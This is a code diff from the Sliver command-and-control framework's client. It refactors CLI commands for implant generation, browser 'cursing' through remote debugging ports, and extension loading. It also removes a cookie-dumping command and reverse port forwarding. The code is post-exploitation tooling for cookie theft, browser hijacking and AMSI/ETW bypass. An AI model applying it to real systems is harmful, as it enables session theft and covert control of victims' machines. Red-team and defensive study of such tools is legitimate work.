@@ -1403,7 +1376,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("y", "limit-username", "", "limit execution to specified username")
f.String("z", "limit-hostname", "", "limit execution to specified hostname")
f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
f.String("L", "limit-locale", "", "limit execution to hosts that match this locale")
f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
f.String("s", "save", "", "directory/file to the binary to")
@@ -1556,7 +1528,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("y", "limit-username", "", "limit execution to specified username")
f.String("z", "limit-hostname", "", "limit execution to specified hostname")
f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
f.String("L", "limit-locale", "", "limit execution to hosts that match this locale")
f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
@@ -1620,7 +1591,6 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("y", "limit-username", "", "limit execution to specified username")
f.String("z", "limit-hostname", "", "limit execution to specified hostname")
f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
f.String("L", "limit-locale", "", "limit execution to hosts that match this locale")
f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
@@ -2538,59 +2508,6 @@ func BindCommands(con *console.SliverConsoleClient) {
})
con.App.AddCommand(registryCmd)
// [ Reverse Port Forwarding ] --------------------------------------------------------------
rportfwdCmd := &grumble.Command{
Name: consts.RportfwdStr,
Help: "reverse port forwardings",
LongHelp: help.GetHelpFor([]string{consts.RportfwdStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
rportfwd.RportFwdListenersCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
}
rportfwdCmd.AddCommand(&grumble.Command{
Name: consts.AddStr,
Help: "Add and start reverse port forwarding",
LongHelp: help.GetHelpFor([]string{consts.RportfwdStr}),
Run: func(ctx *grumble.Context) error {
con.Println()
rportfwd.StartRportFwdListenerCmd(ctx, con)
con.Println()
return nil
},
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.String("r", "remote", "", "remote address <ip>:<port> connection is forwarded to")
f.String("b", "bind", "", "bind address <ip>:<port> implants listen on")
},
HelpGroup: consts.SliverWinHelpGroup,
})
rportfwdCmd.AddCommand(&grumble.Command{
Name: consts.RmStr,
Help: "Stop and remove reverse port forwarding",
LongHelp: help.GetHelpFor([]string{consts.RportfwdStr}),
Run: func(ctx *grumble.Context) error {
con.Println()
rportfwd.StopRportFwdListenerCmd(ctx, con)
con.Println()
return nil
},
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Int("i", "id", 0, "id of portfwd to remove")
},
HelpGroup: consts.SliverWinHelpGroup,
})
con.App.AddCommand(rportfwdCmd)
// [ Pivots ] --------------------------------------------------------------
pivotsCmd := &grumble.Command{
@@ -3266,7 +3183,7 @@ func BindCommands(con *console.SliverConsoleClient) {
HelpGroup: consts.SliverHelpGroup,
Run: func(ctx *grumble.Context) error {
con.Println()
extensions.ExtensionsCmd(ctx, con)
cmdExtensions.ExtensionsCmd(ctx, con)
con.Println()
return nil
},
@@ -3285,7 +3202,7 @@ func BindCommands(con *console.SliverConsoleClient) {
},
Run: func(ctx *grumble.Context) error {
con.Println()
extensions.ExtensionsListCmd(ctx, con)
cmdExtensions.ExtensionsListCmd(ctx, con)
con.Println()
return nil
},
@@ -3298,7 +3215,7 @@ func BindCommands(con *console.SliverConsoleClient) {
HelpGroup: consts.SliverHelpGroup,
Run: func(ctx *grumble.Context) error {
con.Println()
extensions.ExtensionLoadCmd(ctx, con)
cmdExtensions.ExtensionLoadCmd(ctx, con)
con.Println()
return nil
},
@@ -3317,7 +3234,7 @@ func BindCommands(con *console.SliverConsoleClient) {
HelpGroup: consts.SliverHelpGroup,
Run: func(ctx *grumble.Context) error {
con.Println()
extensions.ExtensionsInstallCmd(ctx, con)
cmdExtensions.ExtensionsInstallCmd(ctx, con)
con.Println()
return nil
},
@@ -3336,7 +3253,7 @@ func BindCommands(con *console.SliverConsoleClient) {
HelpGroup: consts.SliverHelpGroup,
Run: func(ctx *grumble.Context) error {
con.Println()
extensions.ExtensionsRemoveCmd(ctx, con)
cmdExtensions.ExtensionsRemoveCmd(ctx, con)
con.Println()
return nil
},
@@ -3344,7 +3261,7 @@ func BindCommands(con *console.SliverConsoleClient) {
a.String("name", "the command name of the extension to remove")
},
Completer: func(prefix string, args []string) []string {
return extensions.ExtensionsCommandNameCompleter(prefix, args, con)
return cmdExtensions.ExtensionsCommandNameCompleter(prefix, args, con)
},
})
@@ -3427,7 +3344,7 @@ func BindCommands(con *console.SliverConsoleClient) {
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedConsole}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.Int("r", "remote-debugging-port", 0, "remote debugging tcp port (0 = random)`")
f.Int("r", "remote-debugging-port", 21099, "remote debugging tcp port")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -3444,19 +3361,14 @@ func BindCommands(con *console.SliverConsoleClient) {
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedChrome}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.Int("r", "remote-debugging-port", 0, "remote debugging tcp port (0 = random)")
f.Int("r", "remote-debugging-port", 21099, "remote debugging tcp port")
f.Bool("R", "restore", true, "restore the user's session after process termination")
f.String("e", "exe", "", "chrome/chromium browser executable path (blank string = auto)")
f.String("u", "user-data", "", "user data directory (blank string = auto)")
f.String("p", "payload", "", "cursed chrome payload file path (.js)")
f.Bool("k", "keep-alive", false, "keeps browser alive after last browser window closes")
f.Bool("H", "headless", false, "start browser process in headless mode")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.StringList("args", "additional chrome cli arguments", grumble.Default([]string{}))
},
Run: func(ctx *grumble.Context) error {
con.Println()
cursed.CursedChromeCmd(ctx, con)
@@ -3470,19 +3382,14 @@ func BindCommands(con *console.SliverConsoleClient) {
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedEdge}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.Int("r", "remote-debugging-port", 0, "remote debugging tcp port (0 = random)")
f.Int("r", "remote-debugging-port", 21099, "remote debugging tcp port")
f.Bool("R", "restore", true, "restore the user's session after process termination")
f.String("e", "exe", "", "edge browser executable path (blank string = auto)")
f.String("u", "user-data", "", "user data directory (blank string = auto)")
f.String("p", "payload", "", "cursed chrome payload file path (.js)")
f.Bool("k", "keep-alive", false, "keeps browser alive after last browser window closes")
f.Bool("H", "headless", false, "start browser process in headless mode")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.StringList("args", "additional edge cli arguments", grumble.Default([]string{}))
},
Run: func(ctx *grumble.Context) error {
con.Println()
cursed.CursedEdgeCmd(ctx, con)
@@ -3490,44 +3397,6 @@ func BindCommands(con *console.SliverConsoleClient) {
return nil
},
})
cursedCmd.AddCommand(&grumble.Command{
Name: consts.CursedElectron,
Help: "Curse a remote Electron application",
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedElectron}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.String("e", "exe", "", "remote electron executable absolute path")
f.Int("r", "remote-debugging-port", 0, "remote debugging tcp port (0 = random)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.StringList("args", "additional electron cli arguments", grumble.Default([]string{}))
},
Run: func(ctx *grumble.Context) error {
con.Println()
cursed.CursedElectronCmd(ctx, con)
con.Println()
return nil
},
})
cursedCmd.AddCommand(&grumble.Command{
Name: consts.CursedCookies,
Help: "Dump all cookies from cursed process",
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedCookies}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.String("s", "save", "", "save to file")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
cursed.CursedCookiesCmd(ctx, con)
con.Println()
return nil
},
})
cursedCmd.AddCommand(&grumble.Command{
Name: consts.ScreenshotStr,
Help: "Take a screenshot of a cursed process debug target",
@@ -3546,5 +3415,23 @@ func BindCommands(con *console.SliverConsoleClient) {
return nil
},
})
cursedCmd.AddCommand(&grumble.Command{
Name: consts.CursedElectron,
Help: "Curse a remote Electron application",
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedElectron}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.String("e", "exe", "", "remote electron executable absolute path")
f.Int("r", "remote-debugging-port", 21099, "remote debugging tcp port")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
cursed.CursedElectronCmd(ctx, con)
con.Println()
return nil
},
})
con.App.AddCommand(cursedCmd)
}
+1 -11
View File
@@ -175,7 +175,7 @@ func startCursedChromeProcess(isEdge bool, session *clientpb.Session, ctx *grumb
con.Printf("success!\n")
con.PrintInfof("Starting %s process ... ", name)
debugPort := getRemoteDebuggerPort(ctx)
debugPort := uint16(ctx.Flags.Int("remote-debugging-port"))
args := []string{
fmt.Sprintf("--remote-debugging-port=%d", debugPort),
}
@@ -185,16 +185,6 @@ func startCursedChromeProcess(isEdge bool, session *clientpb.Session, ctx *grumb
if ctx.Flags.Bool("restore") {
args = append(args, "--restore-last-session")
}
if ctx.Flags.Bool("keep-alive") {
args = append(args, "--keep-alive-for-test")
}
if ctx.Flags.Bool("headless") {
args = append(args, "--headless")
}
additionalArgs := ctx.Args.StringList("args")
if len(additionalArgs) > 0 {
args = append(args, additionalArgs...)
}
// Execute the Chrome process with the extra flags
// TODO: PPID spoofing, etc.
+3 -51
View File
@@ -52,7 +52,7 @@ func CursedConsoleCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
con.PrintInfof("Connecting to '%s', use 'exit' to return ... \n\n", target.Title)
startCursedConsole(curse, true, target, con)
startCursedConsole(curse, target, con)
}
func selectDebugTarget(targets []overlord.ChromeDebugTarget, con *console.SliverConsoleClient) *overlord.ChromeDebugTarget {
@@ -89,13 +89,7 @@ func selectDebugTarget(targets []overlord.ChromeDebugTarget, con *console.Sliver
return &selectedTarget
}
var (
helperHooks = []string{
"console.log = (...a) => {return a;}", // console.log
}
)
func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlord.ChromeDebugTarget, con *console.SliverConsoleClient) {
func startCursedConsole(curse *core.CursedProcess, target *overlord.ChromeDebugTarget, con *console.SliverConsoleClient) {
tmpFile, _ := ioutil.TempFile("", "cursed")
reader, err := readline.NewEx(&readline.Config{
Prompt: "\033[31mcursed »\033[0m ",
@@ -110,19 +104,6 @@ func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlor
con.PrintErrorf("Failed to create read line: %s\n", err)
return
}
if helpers {
// Execute helper hooks
ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
for _, hook := range helperHooks {
_, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, hook)
if err != nil {
con.PrintErrorf("%s\n", err)
}
}
}
con.Printf(console.Bold+">>> Cursed Console, use ':help' for options%s\n\n", console.Normal)
for {
line, err := reader.Readline()
if err == readline.ErrInterrupt {
@@ -135,38 +116,8 @@ func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlor
break
}
switch strings.TrimSpace(line) {
case ":help":
con.Println()
con.Println("Available commands:")
con.Println(" :file - Execute local .js file")
con.Println(" :help - Show this help")
con.Println(" :exit - Exit the console")
con.Println()
case ":file":
jsCode, err := ioutil.ReadFile(line)
if err != nil {
con.PrintErrorf("%s\n", err)
continue
}
ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
result, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, string(jsCode))
if err != nil {
con.PrintErrorf("%s\n", err)
continue
}
con.Println()
if 0 < len(result) {
con.Printf("%s\n", result)
con.Println()
}
case ":exit":
fallthrough
case "exit":
return
default:
ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
result, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, line)
@@ -180,4 +131,5 @@ func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlor
}
}
}
}
-69
View File
@@ -1,69 +0,0 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"fmt"
"io/ioutil"
"strings"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/overlord"
"github.com/desertbit/grumble"
)
func CursedCookiesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
curse := selectCursedProcess(con)
if curse == nil {
return
}
con.Println()
cookies, err := overlord.DumpCookies(curse, curse.DebugURL().String())
if err != nil {
con.PrintErrorf("Failed to dump cookies: %s\n", err)
return
}
con.PrintInfof("Successfully dumped %d cookies\n", len(cookies))
if len(cookies) == 0 {
return
}
saveFile := ctx.Flags.String("save")
if saveFile == "" {
saveFile = fmt.Sprintf("cookies-%s.json", time.Now().Format("20060102150405"))
}
jsonCookies := []string{}
for _, cookie := range cookies {
jsonCookie, err := cookie.MarshalJSON()
if err != nil {
con.PrintErrorf("Failed to marshal cookie: %s\n", err)
continue
}
jsonCookies = append(jsonCookies, string(jsonCookie))
}
err = ioutil.WriteFile(saveFile, []byte(strings.Join(jsonCookies, "\n")), 0600)
if err != nil {
con.PrintErrorf("Failed to save cookies: %s\n", err)
return
}
con.PrintInfof("Saved to %s", saveFile)
con.Println()
}
+1 -5
View File
@@ -149,14 +149,10 @@ func checkElectronProcess(electronExe string, session *clientpb.Session, ctx *gr
func startCursedElectronProcess(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*core.CursedProcess, error) {
con.PrintInfof("Starting '%s' ... ", path.Base(electronExe))
debugPort := getRemoteDebuggerPort(ctx)
debugPort := uint16(ctx.Flags.Int("remote-debugging-port"))
args := []string{
fmt.Sprintf("--remote-debugging-port=%d", debugPort),
}
additionalArgs := ctx.Args.StringList("args")
if len(additionalArgs) > 0 {
args = append(args, additionalArgs...)
}
// Execute the Chrome process with the extra flags
// TODO: PPID spoofing, etc.
-12
View File
@@ -21,7 +21,6 @@ package cursed
import (
"bytes"
"fmt"
insecureRand "math/rand"
"strconv"
"strings"
"text/tabwriter"
@@ -36,7 +35,6 @@ import (
// CursedChromeCmd - Execute a .NET assembly in-memory
func CursedCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
// Collect existing curses from core
cursedProcesses := [][]string{}
core.CursedProcesses.Range(func(key, value interface{}) bool {
curse := value.(*core.CursedProcess)
@@ -50,7 +48,6 @@ func CursedCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
})
return true
})
// Display table if we have 1 or more curses
if 0 < len(cursedProcesses) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
@@ -70,7 +67,6 @@ func CursedCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
}
// selectCursedProcess - Interactively select a cursed process from a list
func selectCursedProcess(con *console.SliverConsoleClient) *core.CursedProcess {
cursedProcesses := []*core.CursedProcess{}
core.CursedProcesses.Range(func(key, value interface{}) bool {
@@ -111,11 +107,3 @@ func selectCursedProcess(con *console.SliverConsoleClient) *core.CursedProcess {
selectedPortNumber, _ := strconv.Atoi(strings.Split(selected, " ")[0])
return port2process[selectedPortNumber]
}
func getRemoteDebuggerPort(ctx *grumble.Context) int {
port := int(uint16(ctx.Flags.Int("remote-debugging-port")))
if port == 0 {
port = insecureRand.Intn(30000) + 10000
}
return port
}
+1 -1
View File
@@ -90,7 +90,7 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
ClassName: ctx.Flags.String("class"),
AppDomain: ctx.Flags.String("app-domain"),
ProcessArgs: processArgs,
PPid: uint32(ctx.Flags.Uint("ppid")),
PPid: uint32(ctx.Flags.Int("ppid")),
Runtime: runtime,
EtwBypass: etwBypass,
AmsiBypass: amsiBypass,
-4
View File
@@ -50,8 +50,6 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("%s", err.Error())
return
}
processArgsStr := ctx.Flags.String("process-arguments")
processArgs := strings.Split(processArgsStr, " ")
isDLL := (filepath.Ext(binPath) == ".dll")
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Sideloading %s ...", binPath), ctrl)
@@ -64,8 +62,6 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Kill: !ctx.Flags.Bool("keep-alive"),
IsDLL: isDLL,
IsUnicode: ctx.Flags.Bool("unicode"),
PPid: uint32(ctx.Flags.Uint("ppid")),
ProcessArgs: processArgs,
})
ctrl <- true
<-ctrl
+6 -5
View File
@@ -27,6 +27,7 @@ import (
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/extensions"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/jedib0t/go-pretty/v6/text"
@@ -63,7 +64,7 @@ func PrintExtensions(con *console.SliverConsoleClient) {
})
installedManifests := getInstalledManifests()
for _, extension := range loadedExtensions {
for _, extension := range extensions.GetExtensions() {
installed := ""
if _, ok := installedManifests[extension.CommandName]; ok {
installed = "✅"
@@ -82,7 +83,7 @@ func PrintExtensions(con *console.SliverConsoleClient) {
con.Println(tw.Render())
}
func extensionPlatforms(extension *ExtensionManifest) []string {
func extensionPlatforms(extension *extensions.ExtensionManifest) []string {
platforms := map[string]string{}
for _, entry := range extension.Files {
platforms[fmt.Sprintf("%s/%s", entry.OS, entry.Arch)] = ""
@@ -94,15 +95,15 @@ func extensionPlatforms(extension *ExtensionManifest) []string {
return keys
}
func getInstalledManifests() map[string]*ExtensionManifest {
func getInstalledManifests() map[string]*extensions.ExtensionManifest {
manifestPaths := assets.GetInstalledExtensionManifests()
installedManifests := map[string]*ExtensionManifest{}
installedManifests := map[string]*extensions.ExtensionManifest{}
for _, manifestPath := range manifestPaths {
data, err := ioutil.ReadFile(manifestPath)
if err != nil {
continue
}
manifest := &ExtensionManifest{}
manifest := &extensions.ExtensionManifest{}
err = json.Unmarshal(data, manifest)
if err != nil {
continue
+10 -135
View File
@@ -19,20 +19,16 @@ package extensions
*/
import (
"fmt"
"io/ioutil"
"os"
"path/filepath"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/util"
"github.com/bishopfox/sliver/client/extensions"
"github.com/desertbit/grumble"
)
// ExtensionsInstallCmd - Install an extension
func ExtensionsInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var installError error
extLocalPath := ctx.Args.String("path")
fi, err := os.Stat(extLocalPath)
if os.IsNotExist(err) {
@@ -40,135 +36,14 @@ func ExtensionsInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient
return
}
if !fi.IsDir() {
InstallFromFilePath(extLocalPath, false, con)
_, installError = extensions.InstallFromFilePath(extLocalPath, false)
} else {
installFromDir(extLocalPath, con)
installError = extensions.InstallFromDir(extLocalPath)
}
if installError != nil {
con.PrintErrorf("Error installing extension: %s\n", installError)
return
} else {
con.PrintInfof("Extension installed\n")
}
}
// Install an extension from a directory
func installFromDir(extLocalPath string, con *console.SliverConsoleClient) {
manifestData, err := ioutil.ReadFile(filepath.Join(extLocalPath, ManifestFileName))
if err != nil {
con.PrintErrorf("Error reading %s: %s", ManifestFileName, err)
return
}
manifest, err := ParseExtensionManifest(manifestData)
if err != nil {
con.PrintErrorf("Error parsing %s: %s", ManifestFileName, err)
return
}
installPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifest.CommandName))
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
con.PrintInfof("Extension '%s' already exists", manifest.CommandName)
confirm := false
prompt := &survey.Confirm{Message: "Overwrite current install?"}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
forceRemoveAll(installPath)
}
con.PrintInfof("Installing extension '%s' (%s) ... ", manifest.CommandName, manifest.Version)
err = os.MkdirAll(installPath, 0o700)
if err != nil {
con.PrintErrorf("\nError creating extension directory: %s\n", err)
return
}
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
if err != nil {
con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
forceRemoveAll(installPath)
return
}
for _, manifestFile := range manifest.Files {
if manifestFile.Path != "" {
src := filepath.Join(extLocalPath, util.ResolvePath(manifestFile.Path))
dst := filepath.Join(installPath, util.ResolvePath(manifestFile.Path))
err := util.CopyFile(src, dst)
if err != nil {
con.PrintErrorf("\nError copying file '%s' -> '%s': %s\n", src, dst, err)
forceRemoveAll(installPath)
return
}
}
}
}
// InstallFromFilePath - Install an extension from a .tar.gz file
func InstallFromFilePath(extLocalPath string, autoOverwrite bool, con *console.SliverConsoleClient) *string {
manifestData, err := util.ReadFileFromTarGz(extLocalPath, fmt.Sprintf("./%s", ManifestFileName))
if err != nil {
con.PrintErrorf("Failed to read %s from '%s': %s\n", ManifestFileName, extLocalPath, err)
return nil
}
manifest, err := ParseExtensionManifest(manifestData)
if err != nil {
con.PrintErrorf("Failed to parse %s: %s\n", ManifestFileName, err)
return nil
}
installPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifest.CommandName))
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
if !autoOverwrite {
con.PrintInfof("Extension '%s' already exists\n", manifest.CommandName)
confirm := false
prompt := &survey.Confirm{Message: "Overwrite current install?"}
survey.AskOne(prompt, &confirm)
if !confirm {
return nil
}
}
forceRemoveAll(installPath)
}
con.PrintInfof("Installing extension '%s' (%s) ... ", manifest.CommandName, manifest.Version)
err = os.MkdirAll(installPath, 0o700)
if err != nil {
con.PrintErrorf("\nFailed to create extension directory: %s\n", err)
return nil
}
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
if err != nil {
con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
forceRemoveAll(installPath)
return nil
}
for _, manifestFile := range manifest.Files {
if manifestFile.Path != "" {
err = installArtifact(extLocalPath, installPath, manifestFile.Path, con)
if err != nil {
con.PrintErrorf("\nFailed to install file: %s\n", err)
forceRemoveAll(installPath)
return nil
}
}
}
con.Printf("done!\n")
return &installPath
}
func installArtifact(extGzFilePath string, installPath string, artifactPath string, con *console.SliverConsoleClient) error {
data, err := util.ReadFileFromTarGz(extGzFilePath, "."+artifactPath)
if err != nil {
return err
}
if len(data) == 0 {
return fmt.Errorf("archive path '%s' is empty", "."+artifactPath)
}
localArtifactPath := filepath.Join(installPath, util.ResolvePath(artifactPath))
artifactDir := filepath.Dir(localArtifactPath)
if _, err := os.Stat(artifactDir); os.IsNotExist(err) {
err := os.MkdirAll(artifactDir, 0o700)
if err != nil {
return err
}
}
err = ioutil.WriteFile(localArtifactPath, data, 0o600)
if err != nil {
return err
}
return nil
}
+16 -206
View File
@@ -21,90 +21,30 @@ package extensions
import (
"bytes"
"context"
"encoding/json"
"errors"
"fmt"
"io/ioutil"
"os"
"path"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/extensions"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
const (
defaultTimeout = 60
// ManifestFileName - Extension manifest file name
ManifestFileName = "extension.json"
)
var loadedExtensions = map[string]*ExtensionManifest{}
type ExtensionManifest struct {
Name string `json:"name"`
CommandName string `json:"command_name"`
Version string `json:"version"`
ExtensionAuthor string `json:"extension_author"`
OriginalAuthor string `json:"original_author"`
RepoURL string `json:"repo_url"`
Help string `json:"help"`
LongHelp string `json:"long_help"`
Files []*extensionFile `json:"files"`
Arguments []*extensionArgument `json:"arguments"`
Entrypoint string `json:"entrypoint"`
DependsOn string `json:"depends_on"`
Init string `json:"init"`
RootPath string `json:"-"`
}
type extensionFile struct {
OS string `json:"os"`
Arch string `json:"arch"`
Path string `json:"path"`
}
type extensionArgument struct {
Name string `json:"name"`
Type string `json:"type"`
Desc string `json:"desc"`
Optional bool `json:"optional"`
}
func (e *ExtensionManifest) getFileForTarget(cmdName string, targetOS string, targetArch string) (string, error) {
filePath := ""
for _, extFile := range e.Files {
if targetOS == extFile.OS && targetArch == extFile.Arch {
filePath = path.Join(assets.GetExtensionsDir(), e.CommandName, extFile.Path)
break
}
}
if filePath == "" {
err := fmt.Errorf("no extension file found for %s/%s", targetOS, targetArch)
return "", err
}
if _, err := os.Stat(filePath); os.IsNotExist(err) {
err = fmt.Errorf("extension file not found: %s", filePath)
return "", err
}
return filePath, nil
}
// ExtensionLoadCmd - Load extension command
func ExtensionLoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
dirPath := ctx.Args.String("dir-path")
extCmd, err := LoadExtensionManifest(filepath.Join(dirPath, ManifestFileName))
extCmd, err := extensions.LoadExtensionManifest(filepath.Join(dirPath, extensions.ManifestFileName))
if err != nil {
return
}
@@ -117,60 +57,9 @@ func ExtensionLoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintInfof("Added %s command: %s\n", extCmd.CommandName, extCmd.Help)
}
// LoadExtensionManifest - Parse extension files
func LoadExtensionManifest(manifestPath string) (*ExtensionManifest, error) {
data, err := ioutil.ReadFile(manifestPath)
if err != nil {
return nil, err
}
extManifest, err := ParseExtensionManifest(data)
if err != nil {
return nil, err
}
extManifest.RootPath = filepath.Dir(manifestPath)
loadedExtensions[extManifest.CommandName] = extManifest
return extManifest, nil
}
// ParseExtensionManifest - Parse extension manifest from buffer
func ParseExtensionManifest(data []byte) (*ExtensionManifest, error) {
extManifest := &ExtensionManifest{}
err := json.Unmarshal(data, &extManifest)
if err != nil {
return nil, err
}
if extManifest.Name == "" {
return nil, errors.New("missing `name` field in extension manifest")
}
if extManifest.CommandName == "" {
return nil, errors.New("missing `command_name` field in extension manifest")
}
if len(extManifest.Files) == 0 {
return nil, errors.New("missing `files` field in extension manifest")
}
for _, extFiles := range extManifest.Files {
if extFiles.OS == "" {
return nil, errors.New("missing `files.os` field in extension manifest")
}
if extFiles.Arch == "" {
return nil, errors.New("missing `files.arch` field in extension manifest")
}
extFiles.Path = util.ResolvePath(extFiles.Path)
if extFiles.Path == "" || extFiles.Path == "/" {
return nil, errors.New("missing `files.path` field in extension manifest")
}
extFiles.OS = strings.ToLower(extFiles.OS)
extFiles.Arch = strings.ToLower(extFiles.Arch)
}
if extManifest.Help == "" {
return nil, errors.New("missing `help` field in extension manifest")
}
return extManifest, nil
}
// ExtensionRegisterCommand - Register a new extension command
func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverConsoleClient) {
loadedExtensions[extCmd.CommandName] = extCmd
func ExtensionRegisterCommand(extCmd *extensions.ExtensionManifest, con *console.SliverConsoleClient) {
extensions.AddExtension(extCmd)
helpMsg := extCmd.Help
extensionCmd := &grumble.Command{
Name: extCmd.CommandName,
@@ -220,90 +109,6 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverCons
con.App.AddCommand(extensionCmd)
}
func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionManifest, ctx *grumble.Context, con *console.SliverConsoleClient) error {
var extensionList []string
binPath, err := ext.getFileForTarget(ctx.Command.Name, goos, goarch)
if err != nil {
return err
}
// Try to find the extension in the loaded extensions
if checkCache {
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("List extensions error: %s\n", err.Error())
return err
}
if extList.Response != nil && extList.Response.Err != "" {
return errors.New(extList.Response.Err)
}
extensionList = extList.Names
}
depLoaded := false
for _, extName := range extensionList {
if !depLoaded && extName == ext.DependsOn {
depLoaded = true
}
if ext.CommandName == extName {
return nil
}
}
// Extension not found, let's load it
if filepath.Ext(binPath) == ".o" {
// BOFs are not loaded by the DLL loader, but we make sure the loader itself is loaded
// Auto load the coff loader if we have it
if !depLoaded {
if errLoad := loadDep(goos, goarch, ext.DependsOn, ctx, con); errLoad != nil {
return errLoad
}
}
return nil
}
binData, err := ioutil.ReadFile(binPath)
if err != nil {
return err
}
